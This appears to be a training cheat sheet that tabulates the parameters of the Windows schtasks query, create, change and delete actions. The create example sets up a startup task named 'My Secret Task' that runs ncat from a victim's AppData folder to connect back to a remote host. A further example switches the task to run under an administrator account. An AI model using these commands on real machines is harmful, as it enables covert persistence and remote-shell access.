schtasks scheduled tasks manager

Query

ActionParameterDescription
QueryPerforms a local or remote host search to determine what scheduled tasks exist. Due to permissions, not all tasks may be seen by a normal user.
/foSets formatting options. We can specify to show results in the Table, List, or CSV output.
/vSets verbosity to on, displaying the advanced properties set in displayed tasks when used with the List or CSV output parameter.
/nhSimplifies the output using the Table or CSV output format. This switch removes the column headers.
/sSets the DNS name or IP address of the host we want to connect to. Localhost is the default specified. If /s is utilized, we are connecting to a remote host and must format it as “\host”.
/uThis switch will tell schtasks to run the following command with the permission set of the user specified.
/pSets the password in use for command execution when we specify a user to run the task. Users must be members of the Administrator’s group on the host (or in the domain). The u and p values are only valid when used with the s parameter.

Create

ActionParameterDescription
CreateSchedules a task to run.
/scSets the schedule type. It can be by the minute, hourly, weekly, and much more. Be sure to check the options parameters.
/tnSets the name for the task we are building. Each task must have a unique name.
/trSets the trigger and task that should be run. This can be an executable, script, or batch file.
/sSpecify the host to run on, much like in Query.
/uSpecifies the local user or domain user to utilize
/pSets the Password of the user-specified.
/moAllows us to set a modifier to run within our set schedule. For example, every 5 hours every other day.
/rlAllows us to limit the privileges of the task. Options here are limited access and Highest. Limited is the default value.
/zWill set the task to be deleted after completion of its actions.
Creating a new scheduled task is pretty straightforward. At a minimum, we must specify the following:
  • /create : to tell it what we are doing
  • /sc : we must set a schedule
  • /tn : we must set the name
  • /tr : we must give it an action to take

schtasks /create /sc ONSTART /tn “My Secret Task” /tr “C:\Users\Victim\AppData\Local\ncat.exe 172.16.1.100 8100”

Change

ActionParameterDescription
ChangeAllows for modifying existing scheduled tasks.
/tnDesignates the task to change
/trModifies the program or action that the task runs.
/ENABLEChange the state of the task to Enabled.
/DISABLEChange the state of the task to Disabled.
schtasks /change /tn "My Secret Task" /ru administrator /rp "P@ssw0rd"
 
schtasks /query /tn "My Secret Task" /V /fo list

Delete

ActionParameterDescription
DeleteRemove a task from the schedule
/tnIdentifies the task to delete.
/sSpecifies the name or IP address to delete the task from.
/uSpecifies the user to run the task as.
/pSpecifies the password to run the task as.
/fStops the confirmation warning.